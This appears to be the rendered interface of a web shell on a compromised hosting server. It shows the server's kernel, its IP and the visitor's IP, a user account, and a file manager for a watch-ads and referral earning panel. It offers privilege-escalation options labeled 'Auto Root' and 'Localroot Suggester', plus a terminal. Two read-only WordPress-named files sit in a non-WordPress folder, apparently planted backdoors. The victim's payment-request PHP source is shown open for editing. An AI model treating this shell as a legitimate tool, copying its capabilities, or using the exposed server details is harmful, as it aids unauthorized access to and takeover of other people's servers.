Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ajax_spin_wheel.php
3.28
KB
-rw-r--r--
2026-01-26 16:59
announcements.php
3.18
KB
-rw-r--r--
2025-12-25 17:46
daily_targets.php
14.63
KB
-rw-r--r--
2025-12-26 15:26
dashboard.php
35.82
KB
-rw-r--r--
2026-01-07 16:12
dpin_manage.php
8.8
KB
-rw-r--r--
2025-12-29 11:57
dpin_request.php
10.85
KB
-rw-r--r--
2025-12-29 11:57
error_log
3.62
KB
-rw-r--r--
2025-12-29 11:07
footer.php
101
B
-rw-r--r--
2025-12-25 18:14
header.php
6.83
KB
-rw-r--r--
2026-01-26 17:33
history.php
25.06
KB
-rw-r--r--
2026-01-26 17:23
level_earning.php
18.53
KB
-rw-r--r--
2025-12-29 13:08
lucky_wheel.php
30.91
KB
-rw-r--r--
2026-01-26 17:01
my_plan.php
9.99
KB
-rw-r--r--
2025-12-29 11:04
plan_payment.php
19.84
KB
-rw-r--r--
2026-01-26 16:58
profile.php
9.06
KB
-rw-r--r--
2025-12-24 21:13
ranks.php
21.24
KB
-rw-r--r--
2025-12-27 08:48
referral.php
11.8
KB
-rw-r--r--
2025-12-24 21:26
support.php
10.32
KB
-rw-r--r--
2025-12-22 19:07
update_rank_popup.php
1.1
KB
-rw-r--r--
2025-12-27 08:47
watch_ad.php
6.68
KB
-rw-r--r--
2025-12-26 09:11
watch_ad_complete.php
4.34
KB
-rw-r--r--
2025-12-24 08:07
watch_ads.php
6.73
KB
-rw-r--r--
2025-12-24 08:08
withdraw.php
11.24
KB
-rw-r--r--
2025-12-24 22:35
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('USER_PANEL', true); require_once '../includes/config.php'; requireLogin(); $page_title = 'D-Pin Request'; // Get D-Pin price and PKR rate from settings $dpinPrice = (float) getSetting('dpin_price', '10.00'); $pkrRate = (float) getSetting('pkr_rate', '280'); $pkrPrice = $dpinPrice * $pkrRate; // Handle D-Pin purchase request if ($_SERVER['REQUEST_METHOD'] === 'POST') { $amount = floatval($_POST['amount']); $quantity = (int) $_POST['quantity']; $method = $_POST['method']; if ($amount <= 0) { setError("Invalid amount"); } elseif ($quantity < 1) { setError("Invalid quantity"); } elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && empty($_FILES) && $_SERVER['CONTENT_LENGTH'] > 0) { setError("The file you are trying to upload is too large for the server. Please try a smaller image (max 50MB)."); } elseif (!isset($_FILES['screenshot'])) { setError("Please upload payment screenshot"); } elseif ($_FILES['screenshot']['error'] !== UPLOAD_ERR_OK) { switch ($_FILES['screenshot']['error']) { case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: setError("File is too large. Max allowed size is 50MB. Please use a smaller image or compress your screenshot."); break; case UPLOAD_ERR_PARTIAL: setError("File was only partially uploaded. Please check your internet connection and try again."); break; default: setError("Failed to upload screenshot. Please try again."); } } else { // Increase execution time for large file moves @ini_set('max_execution_time', '300'); $totalAmount = $amount * $quantity; $allowed = ['jpg', 'jpeg', 'png', 'gif']; $filename = $_FILES['screenshot']['name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($ext, $allowed)) { setError("Invalid file type"); } else { $newFilename = uniqid() . '_' . time() . '.' . $ext; $uploadPath = '../uploads/screenshots/' . $newFilename; if (move_uploaded_file($_FILES['screenshot']['tmp_name'], $uploadPath)) { try { // Insert into dpin_requests table $stmt = $pdo->prepare(" INSERT INTO dpin_requests (user_id, pin_count, total_amount, method, screenshot, status) VALUES (?, ?, ?, ?, ?, 'pending') "); $stmt->execute([$_SESSION['user_id'], $quantity, $totalAmount, $method, $newFilename]); setSuccess("D-Pin request submitted successfully! Waiting for admin approval."); header('Location: dpin_request.php'); exit; } catch (PDOException $e) { setError("Failed to submit request: " . $e->getMessage()); } } else { setError("Failed to upload screenshot"); } } } } // Get payment methods $stmt = $pdo->prepare("SELECT * FROM payment_methods WHERE status = 'active' ORDER BY name ASC"); $stmt->execute(); $paymentMethods = $stmt->fetchAll(); include 'header.php'; ?> <?php $success = getSuccess(); if ($success) { echo '<div class="alert alert-success"><i class="fas fa-check-circle"></i> ' . htmlspecialchars($success) . '</div>'; } $error = getError(); if ($error) { echo '<div class="alert alert-danger"><i class="fas fa-exclamation-circle"></i> ' . htmlspecialchars($error) . '</div>'; } ?> <!-- D-Pin Rate Info Alert --> <div class="alert alert-info dpin-rate-alert" style="background: rgba(89, 103, 241, 0.1); border: 1px dashed var(--primary-color); display: flex; align-items: center; gap: 15px; margin-bottom: 20px;"> <div class="alert-icon" style="background: var(--primary-color); color: white; width: 45px; height: 45px; border-radius: 12px; display: flex; align-items: center; justify-content: center; font-size: 20px; flex-shrink: 0;"> <i class="fas fa-info-circle"></i> </div> <div class="alert-content"> <h4 style="margin: 0; font-size: 16px; color: var(--primary-color);">Purchase Instructions</h4> <p style="margin: 3px 0 0; font-size: 14px; color: var(--text-primary);"> Please enter the <strong>Plan Price</strong> of the plan you want to activate. Admin will generate a D-Pin of that specific value for you. </p> <small style="opacity: 0.8; font-size: 11px;">(Current Rate: 1 <?php echo getSetting('currency_symbol'); ?> = <?php echo $pkrRate; ?> PKR)</small> </div> </div> <!-- Purchase D-Pins --> <div class="card"> <div class="card-header"> <i class="fas fa-shopping-cart"></i> Create D-Pin Request </div> <div class="card-body"> <form method="POST" action="" enctype="multipart/form-data" id="dpin-form"> <div style="display: grid; grid-template-columns: 2fr 1fr; gap: 15px;"> <div class="form-group"> <label class="form-label">Plan Price (D-Pin Value)</label> <input type="number" name="amount" id="amount" class="form-control" placeholder="e.g. 5.00" step="0.001" min="0.01" required oninput="calculateTotal()"> <small style="color: var(--text-secondary);">Enter the price of the plan you want to buy.</small> </div> <div class="form-group"> <label class="form-label">Quantity</label> <input type="number" name="quantity" id="quantity" class="form-control" placeholder="Qty" min="1" value="1" required oninput="calculateTotal()"> </div> </div> <div style="background: var(--dark-bg); padding: 15px; border-radius: 8px; margin-bottom: 20px;"> <div style="display: flex; justify-content: space-between; align-items: center;"> <span style="color: var(--text-secondary);">Total to Pay:</span> <div style="text-align: right;"> <span id="total-amount" style="font-size: 24px; font-weight: bold; color: var(--primary-color);"> <?php echo getSetting('currency_symbol'); ?>0.000 </span> <div id="pkr-total" style="font-size: 14px; color: #2ecc71; font-weight: 600; margin-top: 5px;"> ≈ 0.00 PKR </div> </div> </div> </div> <div class="form-group"> <label class="form-label">Payment Method</label> <select name="method" id="payment-method" class="form-control" required> <option value="">Select Payment Method</option> <?php foreach ($paymentMethods as $m): ?> <option value="<?php echo htmlspecialchars($m['name']); ?>"> <?php echo htmlspecialchars($m['name']); ?> </option> <?php endforeach; ?> </select> </div> <!-- Dynamic Payment Details --> <?php foreach ($paymentMethods as $m): ?> <div id="details-<?php echo htmlspecialchars($m['name']); ?>" class="method-details" style="display: none;"> <div class="card" style="margin-bottom: 20px; background: var(--dark-bg);"> <div class="card-body"> <h4 style="color: var(--primary-color); margin-bottom: 15px;"> <i class="fas fa-university"></i> <?php echo htmlspecialchars($m['name']); ?> Account </h4> <p style="color: var(--text-secondary); margin-bottom: 10px;"> <strong>Account Number:</strong><br> <span style="font-size: 20px; color: var(--text-primary);"><?php echo htmlspecialchars($m['account_number']); ?></span> </p> <p style="color: var(--text-secondary);"> <strong>Account Name:</strong><br> <span style="font-size: 18px; color: var(--text-primary);"><?php echo htmlspecialchars($m['account_name']); ?></span> </p> </div> </div> </div> <?php endforeach; ?> <div class="form-group" id="screenshot-group" style="display:none;"> <label class="form-label">Upload Payment Screenshot</label> <input type="file" name="screenshot" id="screenshot-input" class="form-control" accept="image/*"> </div> <button type="submit" class="btn btn-primary btn-block"> <i class="fas fa-paper-plane"></i> Submit Request </button> </form> </div> </div> <script> const pkrRate = <?php echo $pkrRate; ?>; const currencySymbol = '<?php echo getSetting('currency_symbol', '$'); ?>'; function calculateTotal() { const amount = parseFloat(document.getElementById('amount').value) || 0; const quantity = parseInt(document.getElementById('quantity').value) || 1; const total = amount * quantity; const pkrTotal = total * pkrRate; document.getElementById('total-amount').textContent = currencySymbol + total.toFixed(3); document.getElementById('pkr-total').textContent = '≈ ' + pkrTotal.toLocaleString(undefined, { minimumFractionDigits: 2, maximumFractionDigits: 2 }) + ' PKR'; } document.getElementById('payment-method').addEventListener('change', function () { const screenshotGroup = document.getElementById('screenshot-group'); const screenshotInput = document.getElementById('screenshot-input'); const allDetails = document.querySelectorAll('.method-details'); // Hide everything first allDetails.forEach(el => el.style.display = 'none'); screenshotGroup.style.display = 'none'; screenshotInput.required = false; const selectedMethod = this.value; if (selectedMethod) { const detailsDiv = document.getElementById('details-' + selectedMethod); if (detailsDiv) detailsDiv.style.display = 'block'; screenshotGroup.style.display = 'block'; screenshotInput.required = true; } }); </script> <?php include 'footer.php'; ?>